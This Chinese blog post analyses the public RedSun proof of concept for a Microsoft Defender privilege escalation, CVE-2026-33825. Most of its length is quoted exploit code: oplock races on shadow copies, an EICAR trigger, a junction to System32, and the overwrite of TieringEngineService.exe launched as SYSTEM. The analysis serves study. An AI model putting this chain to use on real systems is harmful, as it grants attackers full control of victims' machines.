微软也会犯低级错误
公众号:https://mp.weixin.qq.com/s/orGyVntLp8aM1_BH-R2eug
或许我们的公众号会有更多你感兴趣的内容
CVE-2026-33825又名RedSun,Microsoft Defender 中访问控制粒度不足,允许获授权的攻击者在本地提升权限。[1]
当 Windows Defender 识别出某个恶意文件带有“云标签”时,出于某种极其愚蠢且荒谬的原因,这款本该负责防护的杀毒软件竟然会自作聪明地决定:把刚刚发现的这个文件原封不动地重写回其原始位置。而这个 PoC 正是利用了这一反常行为,通过覆盖系统文件来获取管理员权限。[2]
PoC地址
前置知识
Windows 对象管理器
Windows 内核维护一个全局的分层命名空间 ,管理所有内核对象(设备、文件、事件、信号量等)。结构类似于文件系统:
\ (根) ├── \Device ← 设备对象(磁盘、VSS卷、键盘等) ├── \BaseNamedObjects ← 事件/互斥量/信号量 ├── \GLOBAL?? ← DOS设备映射 (C:, D:) ├── \Callback ← 回调对象 ├── \KernelObjects ← 内核同步对象 └── ...
这个命名空间存在于内核内存中,普通的 CreateFile/FindFirstFile 完全访问不到 。必须通过 NtOpenDirectoryObject / NtQueryDirectoryObject 这些原生 API 才能查询。
static std::vector<std::pair<std::wstring, std::wstring>> enum_directory (const std::wstring& path){ std::vector<std::pair<std::wstring, std::wstring>> entries; UNICODE_STRING dirName; RtlInitUnicodeString (&dirName, path.c_str ()); OBJECT_ATTRIBUTES oa; InitializeObjectAttributes (&oa, &dirName, OBJ_CASE_INSENSITIVE, nullptr , nullptr ); HANDLE hDir = nullptr ; NTSTATUS status = g_NtOpenDirectoryObject (&hDir, DIRECTORY_QUERY, &oa); if (status != 0 ) { std::cerr << "[-] Failed to open \\" << wstr_to_utf8 (path.substr (1 )) << ": 0x" << std::hex << status << std::dec << "\n" ; return entries; } BYTE buffer[sizeof (OBJECT_DIRECTORY_INFORMATION) + 512 ]; ULONG context = 0 ; BOOLEAN restart = TRUE; for (;;) { ULONG returnLen = 0 ; status = g_NtQueryDirectoryObject ( hDir, buffer, sizeof (buffer), TRUE, restart, &context, &returnLen); if (status == STATUS_NO_MORE_ENTRIES) break ; if (!NT_SUCCESS (status) && status != STATUS_MORE_ENTRIES) { std::cerr << "[-] NtQueryDirectoryObject failed: 0x" << std::hex << status << std::dec << "\n" ; break ; } restart = FALSE; auto info = reinterpret_cast <POBJECT_DIRECTORY_INFORMATION>(buffer); entries.emplace_back ( std::wstring (info->Name.Buffer, info->Name.Length / sizeof (WCHAR)), std::wstring (info->TypeName.Buffer, info->TypeName.Length / sizeof (WCHAR))); } CloseHandle (hDir); return entries; }
Volume Shadow Copy Service (Windows VSS)
Volume Shadow Copy Service(简称 VSS)是 Microsoft Windows 操作系统内置的数据备份框架,用于在应用程序运行时创建一致性的磁盘卷快照(shadow copy)。它支撑了系统还原、文件历史版本及多种备份软件,是 Windows 数据保护机制的核心组成部分。[3]
在这里的利用就是首先就是windows defender检测到恶意文件的时候首先不会将其删除,而是会通过卷影副本进行隔离/备份操作。使用vssadmin可以操作。启用后会在对象管理器的Device下创建HarddiskVolumeShadowCopyN
#include <windows.h> #include <iostream> #include <fstream> #include <string> #include <vector> #include <filesystem> namespace fs = std::filesystem;static std::string exec (const char * cmd) { char buffer[4096 ]; std::string result; FILE* pipe = _popen(cmd, "r" ); if (!pipe) return "[_popen failed]" ; while (fgets (buffer, sizeof (buffer), pipe)) result += buffer; _pclose(pipe); return result; } static std::string extract_wmic_device_path (const std::string& output) { std::vector<std::string> paths; std::string marker = "\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy" ; size_t pos = 0 ; while ((pos = output.find (marker, pos)) != std::string::npos) { size_t start = output.rfind ('=' , pos); if (start == std::string::npos) start = pos; else start = start + 1 ; size_t end = output.find_first_of ("\r\n" , start); std::string path = output.substr (start, end - start); while (!path.empty () && path.back () == '\\' ) path.pop_back (); paths.push_back (path); pos = end; } if (paths.empty ()) return {}; return paths.back (); } int main () { fs::create_directories ("C:\\test" ); const std::string targetFile = "C:\\test\\demo.txt" ; const std::string restoreFile = "C:\\test\\restored.txt" ; std::string output = exec ("wmic shadowcopy call create Volume=\"C:\\\"" ); std::cout << "[+] Creating shadow copy via WMI: " << output << "\n" ; std::string shadowPath = extract_wmic_device_path (output); if (shadowPath.empty ()) { std::cout << "[-] WMIC method failed.\n" ; std::cout << "===== Raw WMIC output =====\n" << output << "=====\n" ; std::cout << "[*] Trying to list existing shadow copies...\n" ; std::string listOutput = exec ("wmic shadowcopy get DeviceObject /format:list 2>&1" ); shadowPath = extract_wmic_device_path (listOutput); if (shadowPath.empty ()) { std::cout << "===== Existing shadow copies =====\n" << listOutput << "=====\n" ; std::cout << "[-] Cannot create or find any shadow copy.\n" ; return 1 ; } std::cout << "[+] Using existing shadow copy: " << shadowPath << "\n" ; } else { std::cout << "[+] Shadow Copy created: " << shadowPath << "\n" ; } { std::ofstream ofs (targetFile) ; ofs << "MODIFIED DATA: This version is AFTER the shadow copy was taken.\n" ; ofs.close (); std::cout << "[+] Original file modified (after snapshot).\n" ; } { std::string shadowFile = shadowPath + "\\test\\demo.txt" ; std::cout << "[+] Reading from snapshot: " << shadowFile << "\n" ; std::ifstream ifs (shadowFile, std::ios::binary) ; if (!ifs) { std::cerr << "[-] Cannot open file in shadow copy!\n" ; return 1 ; } std::ofstream ofs (restoreFile, std::ios::binary) ; ofs << ifs.rdbuf (); ifs.close (); ofs.close (); std::cout << "[+] File restored to: " << restoreFile << "\n" ; } return 0 ; }
首先在C://test/中只存在demo.txt
在管理员模式下运行程序后,成功的从VSS中恢复了原始文件的内容。
云同步目录
从 Windows 10 版本 1709 开始,Windows 提供 云文件 API 。 此 API 由多个本机 Win32 和 WinRT API 组成,这些 API 正式支持云同步引擎,并处理创建和管理占位符文件和目录等任务。 此 API 的用户通常是同步提供程序,在某种程度上是 Windows 应用程序。[4]
使用类似PoC中的代码创建云同步目录会发现由于占位符的存在,无法对其中的文件进行操作。
PoC分析
来源:https://github.com/Nightmare-Eclipse/RedSun/
PoC主要替换掉了TieringEngineService这个服务,他是 Windows 里一个和**存储分层 / 数据分级(Storage Tiering)**相关的系统服务,名字直译就是“分层引擎服务”。
API简介
提前流程
PoC的作者为了让利用更加简介,有如下代码
bool IsRunningAsLocalSystem () { HANDLE htoken = NULL ; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htoken)) { printf ("OpenProcessToken failed, error : %d\n" , GetLastError()); return false ; } TOKEN_USER* tokenuser = (TOKEN_USER*)malloc (MAX_SID_SIZE + sizeof (TOKEN_USER)); DWORD retsz = 0 ; bool res = GetTokenInformation(htoken, TokenUser, tokenuser, MAX_SID_SIZE + sizeof (TOKEN_USER), &retsz); CloseHandle(htoken); if (!res) return false ; bool ret = IsWellKnownSid(tokenuser->User.Sid, WinLocalSystemSid); if (ret) { LaunchConsoleInSessionId(); ExitProcess(0 ); } return ret; } bool r = IsRunningAsLocalSystem();
如果当前权限为system则开启conhost的cmd然后退出,不是的话就需要后续的提权操作。
主流程
1. 创建管道
\??\pipe\REDSUN,新建文件夹%TEMP%\\RS-{随机UUID},在这个临时文件夹下准备伪造文件的文件名TieringEngineService.exe
workdir = C:\Users\Alice\AppData\Local\Temp\RS-{4F320BF3-AB70-4B86-8ACF-07B112ED38B7}
filename=TieringEngineService.exe
foo=C:\Users\Alice\AppData\Local\Temp\RS-{4F320BF3-AB70-4B86-8ACF-07B112ED38B7}\TieringEngineService.exe
hfile = foo的句柄
HANDLE hpipe = CreateNamedPipe(L"\\??\\pipe\\REDSUN" , PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE, NULL , 1 , NULL , NULL , NULL , NULL ); if (hpipe == INVALID_HANDLE_VALUE) return 1 ; wchar_t workdir[MAX_PATH] = { 0 };ExpandEnvironmentStrings(L"%TEMP%\\RS-" , workdir, MAX_PATH); GUID uid = { 0 }; wchar_t wuid[100 ] = { 0 };CoCreateGuid(&uid); StringFromGUID2(uid, wuid, 100 ); wcscat(workdir, wuid); wchar_t filename[] = L"TieringEngineService.exe" ;wchar_t foo[MAX_PATH];wsprintf(foo, L"%ws\\%ws" , workdir, filename); if (!CreateDirectory(workdir, NULL )){ printf ("Failed to create workdir" ); return 1 ; } HANDLE hfile = CreateFile(foo, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, NULL , CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); if (hfile == INVALID_HANDLE_VALUE){ printf ("Failed create spoof work file.\n" ); return 1 ; }
2. 创建新的线程ShadowCopyFinderThread
DWORD tid = 0 ; HANDLE hthread = CreateThread(NULL , NULL , (LPTHREAD_START_ROUTINE)ShadowCopyFinderThread, foo, NULL , &tid);
2.1 初始化对象管理器扫描相关参数
wchar_t devicepath[] = L"\\Device" ;UNICODE_STRING udevpath = { 0 }; RtlInitUnicodeString(&udevpath, devicepath); OBJECT_ATTRIBUTES objattr = { 0 }; InitializeObjectAttributes(&objattr, &udevpath, OBJ_CASE_INSENSITIVE, NULL , NULL ); NTSTATUS stat = STATUS_SUCCESS; HANDLE hobjdir = NULL ; stat = _NtOpenDirectoryObject(&hobjdir, 0x0001 , &objattr); if (stat){ printf ("Failed to open object manager directory, error : 0x%0.8X" , stat); return 1 ; } bool criterr = false ;int vscnum = 0 ;
2.2 标记已经存在的VSS ShadowCopy(HarddiskVolumeShadowCopy)
wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" };if (objdirinfo[i].Name.Length >= sizeof (cmpstr)){ if (memcmp (cmpstr, objdirinfo[i].Name.Buffer, sizeof (cmpstr) - sizeof (wchar_t )) == 0 ) { (*vscnumber)++; if (LLVSScurrent) { LLVSScurrent->next = (LLShadowVolumeNames*)malloc (sizeof (LLShadowVolumeNames)); ZeroMemory(LLVSScurrent->next, sizeof (LLShadowVolumeNames)); LLVSScurrent = LLVSScurrent->next; LLVSScurrent->name = (wchar_t *)malloc (objdirinfo[i].Name.Length + sizeof (wchar_t )); ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof (wchar_t )); memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length); } else { } } }
2.3 疯狂重新遍历 /Device 直到出现新的 VSS ShadowCopy(HarddiskVolumeShadowCopy)
scanagain: do { stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, restartscan, &scanctx, &retsz); } while (1 ); ZeroMemory(emptybuff, sizeof (OBJECT_DIRECTORY_INFORMATION)); wchar_t newvsspath[MAX_PATH] = { 0 };wcscpy(newvsspath, L"\\Device\\" ); for (ULONG i = 0 ; i < ULONG_MAX; i++){ if (memcmp (&objdirinfo[i], emptybuff, sizeof (OBJECT_DIRECTORY_INFORMATION)) == 0 ) { break ; } if (_wcsicmp(L"Device" , objdirinfo[i].TypeName.Buffer) == 0 ) { wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" }; if (objdirinfo[i].Name.Length >= sizeof (cmpstr)) { if (memcmp (cmpstr, objdirinfo[i].Name.Buffer, sizeof (cmpstr) - sizeof (wchar_t )) == 0 ) { LLShadowVolumeNames* current = vsinitial; bool found = false ; while (current) { if (_wcsicmp(current->name, objdirinfo[i].Name.Buffer) == 0 ) { found = true ; break ; } current = current->next; } if (found) continue ; else { srchfound = true ; wcscat(newvsspath, objdirinfo[i].Name.Buffer); break ; } } } } } if (!srchfound) { restartscan = true ; goto scanagain; }
2.4 找到过后打开VSS中的文件对象,类似前置知识中的 VSS-3. 从影子副本中恢复原始文件 部分,这里是使用NtCreateFile获得文件的句柄。这里的newvsspath和malpath就是VSS中的文件路径。然后对文件进行批处理机会锁FSCTL_REQUEST_OPLOCK_LEVEL_CACHE_HANDLE,这样处理成功后会通过ovd.hEvent进行通知。最后发射信号gevent后重置。当windows defender进行对VSS中的文件进行操作时会打破oplock,该线程通过GetOverlappedResult接收到,然后WaitForSingleObject开始阻塞wd对文件的操作。
hlk:VSS文件系统中的句柄,可能类似\Device\HarddiskVolumeShadowCopy6\%TEMP%\RS-{UUID}\TieringEngineService.exe。
wchar_t malpath[MAX_PATH] = { 0 }; wcscpy(malpath, newvsspath); wcscat(malpath, &foo[2 ]); UNICODE_STRING _malpath = { 0 }; RtlInitUnicodeString(&_malpath, malpath); OBJECT_ATTRIBUTES objattr2 = { 0 }; InitializeObjectAttributes(&objattr2, &_malpath, OBJ_CASE_INSENSITIVE, NULL , NULL ); IO_STATUS_BLOCK iostat = { 0 }; HANDLE hlk = NULL ; retry: stat = NtCreateFile(&hlk, DELETE | SYNCHRONIZE, &objattr2, &iostat, NULL , FILE_ATTRIBUTE_NORMAL, NULL , FILE_OPEN, NULL , NULL , NULL ); if (stat == STATUS_NO_SUCH_DEVICE) goto retry; if (stat) { printf ("Failed to open file, error : 0x%0.8X\n" , stat); return 1 ; } printf ("The sun is shinning...\n" ); OVERLAPPED ovd = { 0 }; ovd.hEvent = CreateEvent(NULL , FALSE, FALSE, NULL ); DeviceIoControl(hlk, FSCTL_REQUEST_BATCH_OPLOCK, NULL , NULL , NULL , NULL , NULL , &ovd); if (GetLastError() != ERROR_IO_PENDING) { printf ("Failed to request a batch oplock on the update file, error : %d" , GetLastError()); return 0 ; } DWORD nbytes = 0 ; SetEvent(gevent); ResetEvent(gevent); GetOverlappedResult(hlk, &ovd, &nbytes, TRUE); WaitForSingleObject(gevent, INFINITE);
3. 向伪造的文件写入云恶意标签
char eicar[] = "*H+H$!ELIF-TSET-SURIVITNA-DRADNATS-RACIE$}7)CC7)^P(45XZP\\4[PA@%P!O5X" ;rev(eicar); DWORD nwf = 0 ; WriteFile(hfile, eicar, sizeof (eicar) - 1 , &nwf, NULL ); CreateFile(foo, GENERIC_READ | FILE_EXECUTE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL , OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
4.wd扫描后
恶意软件扫描到标签后,接收到来自ShadowCopyFinderThread的gevent,说明wd准备恢复文件。修改文件属性为:当hFile这个句柄关闭时删除源文件。其实就是删除原有的TieringEngineService.exe,然后修改文件夹属性为云同步文件夹,并且创建TieringEngineService.exe占位符(这样此刻的windows defender依旧无法从VSS写回)。然后再通知ShadowCopyFinderThread这边修改完成。
if (WaitForSingleObject(gevent, 120000 ) != WAIT_OBJECT_0){ printf ("PoC timed out, is real time protection enabled ?" ); return 1 ; } IO_STATUS_BLOCK iostat = { 0 }; FILE_DISPOSITION_INFORMATION_EX fdiex = { 0x00000001 | 0x00000002 }; _NtSetInformationFile(hfile, &iostat, &fdiex, sizeof (fdiex), (FILE_INFORMATION_CLASS)64 ); CloseHandle(hfile); DoCloudStuff(workdir, filename, sizeof (eicar) - 1 ); OVERLAPPED ovd = { 0 }; ovd.hEvent = CreateEvent(NULL , FALSE, FALSE, NULL ); SetEvent(gevent);
5. 唤醒主线程
ShadowCopyFinderThread收到后(接2.4),通过WakeByAddressAll唤醒等待gEvent改变的主线程,最后修饰退出
WaitForSingleObject(gevent, INFINITE); CloseHandle(hlk); WakeByAddressAll(&gevent); CloseHandle(gevent); gevent = NULL ; return ERROR_SUCCESS;
6. 重建文件夹
将就文件夹移动至.TMP结尾,然后重新创建文件夹。
ntfoo: \??\C:\Users\Alice\AppData\Local\Temp\RS-{4F320BF3-AB70-4B86-8ACF-07B112ED38B7}\TieringEngineService.exe,适用于NtCreateFile的格式。
_foo: ntfoo的UniCode格式。
_tmp: \??\C:\Users\Alice\AppData\Local\Temp\RS-{4F320BF3-AB70-4B86-8ACF-07B112ED38B7}.TMP
使用NtCreateFile造出一个全新的 TieringEngineService.exe 文件,该文件只能被读取,同时用DeviceIoControl上oplock再次探测是否对这个文件进行操作。然后再GetOverlappedResult上等待。
NTSTATUS stat; wchar_t ntfoo[MAX_PATH] = { L"\\??\\" };wcscat(ntfoo, foo); UNICODE_STRING _foo = { 0 }; RtlInitUnicodeString(&_foo, ntfoo); OBJECT_ATTRIBUTES _objattr = { 0 }; InitializeObjectAttributes(&_objattr, &_foo, OBJ_CASE_INSENSITIVE, NULL , NULL ); wchar_t _tmp[MAX_PATH] = { 0 };wsprintf(_tmp, L"\\??\\%s.TMP" , workdir); MoveFileEx(workdir, _tmp, MOVEFILE_REPLACE_EXISTING); if (!CreateDirectory(workdir, NULL )) LARGE_INTEGER fsz = { 0 }; fsz.QuadPart = 0x1000 ; stat = NtCreateFile(&hfile, FILE_READ_DATA | DELETE | SYNCHRONIZE, &_objattr, &iostat, &fsz, FILE_ATTRIBUTE_READONLY, FILE_SHARE_READ, FILE_SUPERSEDE, NULL , NULL , NULL ); DeviceIoControl(hfile, FSCTL_REQUEST_BATCH_OPLOCK, NULL , NULL , NULL , NULL , NULL , &ovd); GetOverlappedResult(hfile, &ovd, &nbytes, TRUE);
7. 再次oplock
在等待再次访问exe的时候将文件映射到内存(只读),如果要写入的话会失败。通过文件映射固定住文件数据区,确保在 oplock 等待期间文件不会被系统回收;oplock 触发后立即释放,为后面的重命名+删除操作腾路。
_tmp: \??\C:\Users\Alice\AppData\Local\Temp\RS-{4F320BF3-AB70-4B86-8ACF-07B112ED38B7}.TMP2
_rp: \??\C:\Users\Alice\AppData\Local\Temp\RS-{4F320BF3-AB70-4B86-8ACF-07B112ED38B7}\TieringEngineService.exe
_usrp: _rp的UniCode版本
hfile: C:\Users\Alice\AppData\Local\Temp\RS-{4F320BF3-AB70-4B86-8ACF-07B112ED38B7}\TieringEngineService.exe 的旧句柄。
两次_NtSetInformationFile,把文件从 RS-{GUID}\TieringEngineService.exe 改名到 RS-{GUID}.TEMP2,然后设置源文件(不带TMP文件夹下的)关闭handle后删除。
然后打开C:\Users\Alice\AppData\Local\Temp\RS-{4F320BF3-AB70-4B86-8ACF-07B112ED38B7}文件夹的句柄
HANDLE hmap = CreateFileMapping(hfile, NULL , PAGE_READONLY, NULL , NULL , NULL ); void * mappingaddr = MapViewOfFile(hmap, PAGE_READONLY, NULL , NULL , NULL );DWORD nbytes = 0 ; GetOverlappedResult(hfile, &ovd, &nbytes, TRUE); UnmapViewOfFile(mappingaddr); CloseHandle(hmap); { wchar_t _tmp[MAX_PATH] = { 0 }; wsprintf(_tmp, L"\\??\\%s.TEMP2" , workdir); PFILE_RENAME_INFORMATION pfri = (PFILE_RENAME_INFORMATION)malloc (sizeof (FILE_RENAME_INFORMATION) + (sizeof (wchar_t ) * wcslen(_tmp))); ZeroMemory(pfri, sizeof (FILE_RENAME_INFORMATION) + (sizeof (wchar_t ) * wcslen(_tmp))); pfri->ReplaceIfExists = TRUE; pfri->FileNameLength = (sizeof (wchar_t ) * wcslen(_tmp)); memmove(&pfri->FileName[0 ], _tmp, (sizeof (wchar_t ) * wcslen(_tmp))); stat = _NtSetInformationFile(hfile, &iostat, pfri, sizeof (FILE_RENAME_INFORMATION) + (sizeof (wchar_t ) * wcslen(_tmp)), (FILE_INFORMATION_CLASS)10 ); _NtSetInformationFile(hfile, &iostat, &fdiex, sizeof (fdiex), (FILE_INFORMATION_CLASS)64 ); } wchar_t _rp[MAX_PATH] = { L"\\??\\" };wcscat(_rp, workdir); UNICODE_STRING _usrp = { 0 }; RtlInitUnicodeString(&_usrp, _rp); InitializeObjectAttributes(&_objattr, &_usrp, OBJ_CASE_INSENSITIVE, NULL , NULL ); HANDLE hrp = NULL ; stat = NtCreateFile(&hrp, FILE_WRITE_DATA | DELETE | SYNCHRONIZE, &_objattr, &iostat, NULL , NULL , FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN_IF, FILE_DIRECTORY_FILE | FILE_DELETE_ON_CLOSE, NULL , NULL );
8. 修改文件夹属性为重定向
wchar_t rptarget[] = { L"\\??\\C:\\Windows\\System32" };DWORD targetsz = wcslen(rptarget) * 2 ; DWORD printnamesz = 1 * 2 ; DWORD pathbuffersz = targetsz + printnamesz + 12 ; DWORD totalsz = pathbuffersz + REPARSE_DATA_BUFFER_HEADER_LENGTH; REPARSE_DATA_BUFFER* rdb = (REPARSE_DATA_BUFFER*)HeapAlloc(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS | HEAP_ZERO_MEMORY, totalsz); rdb->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; rdb->ReparseDataLength = static_cast<USHORT>(pathbuffersz); rdb->Reserved = NULL ; rdb->MountPointReparseBuffer.SubstituteNameOffset = NULL ; rdb->MountPointReparseBuffer.SubstituteNameLength = static_cast<USHORT>(targetsz); memcpy (rdb->MountPointReparseBuffer.PathBuffer, rptarget, targetsz + 2 );rdb->MountPointReparseBuffer.PrintNameOffset = static_cast<USHORT>(targetsz + 2 ); rdb->MountPointReparseBuffer.PrintNameLength = static_cast<USHORT>(printnamesz); memcpy (rdb->MountPointReparseBuffer.PathBuffer + targetsz / 2 + 1 , rptarget, printnamesz);DWORD ret = DeviceIoControl(hrp, FSCTL_SET_REPARSE_POINT, rdb, totalsz, NULL , NULL , NULL , NULL ); HeapFree(GetProcessHeap(), NULL , rdb);
9. 写入文件到System32
首先关闭hFile的句柄导致之前的".TMP2"的文件删除,然后同windows defender进行竞争,竞争成功时拿到System32目录下TieringEngineService.exe的GENERIC_WRITE权限句柄,然后通过GetModuleHandle和GetModuleFileName拿到自身路径(mx1),将自身通过句柄复制到System32下(mx2),这个时候的TieringEngineService服务就是我们的代码了。最后通过COM启动原本属于TieringEngineService的服务,只是使用的System权限来运行我们的程序。
注意 ,此时的hPipe依旧存在,system权限运行的这个程序会连接到这个旧的namedpipe(1.创建管道部分)中。
CloseHandle(hfile); HANDLE hlk = NULL ; for (int i = 0 ; i < 1000 ; i++){ wchar_t malpath[] = { L"\\??\\C:\\Windows\\System32\\TieringEngineService.exe" }; UNICODE_STRING _malpath = { 0 }; RtlInitUnicodeString(&_malpath, malpath); OBJECT_ATTRIBUTES objattr2 = { 0 }; InitializeObjectAttributes(&objattr2, &_malpath, OBJ_CASE_INSENSITIVE, NULL , NULL ); IO_STATUS_BLOCK iostat = { 0 }; stat = NtCreateFile(&hlk, GENERIC_WRITE, &objattr2, &iostat, NULL , NULL , FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_SUPERSEDE, NULL , NULL , NULL ); if (!stat) break ; Sleep(20 ); } if (stat != STATUS_SUCCESS){ printf ("Something went wrong.\n" ); return 1 ; } printf ("The red sun shall prevail.\n" );CloseHandle(hlk); CloseHandle(hrp); wchar_t mx[MAX_PATH] = { 0 };GetModuleFileName(GetModuleHandle(NULL ), mx, MAX_PATH); wchar_t mx2[MAX_PATH] = { 0 };ExpandEnvironmentStrings(L"%WINDIR%\\System32\\TieringEngineService.exe" , mx2, MAX_PATH); CopyFile(mx, mx2, FALSE); LaunchTierManagementEng(); Sleep(2000 ); CloseHandle(hpipe); return 0 ;void LaunchTierManagementEng () { CoInitialize(NULL ); GUID guidObject = { 0x50d185b9 ,0xfff3 ,0x4656 ,{0x92 ,0xc7 ,0xe4 ,0x01 ,0x8d ,0xa4 ,0x36 ,0x1d } }; void * ret = NULL ; HRESULT hr = CoCreateInstance(guidObject, NULL , CLSCTX_LOCAL_SERVER, guidObject, &ret); CoUninitialize(); }
应用
[1] https://nvd.nist.gov/vuln/detail/CVE-2026-33825
[2] https://github.com/Nightmare-Eclipse/RedSun/
[3] https://learn.microsoft.com/zh-cn/windows-server/storage/file-server/volume-shadow-copy-service
[4] https://learn.microsoft.com/zh-cn/windows/win32/cfApi/cloud-files-api-portal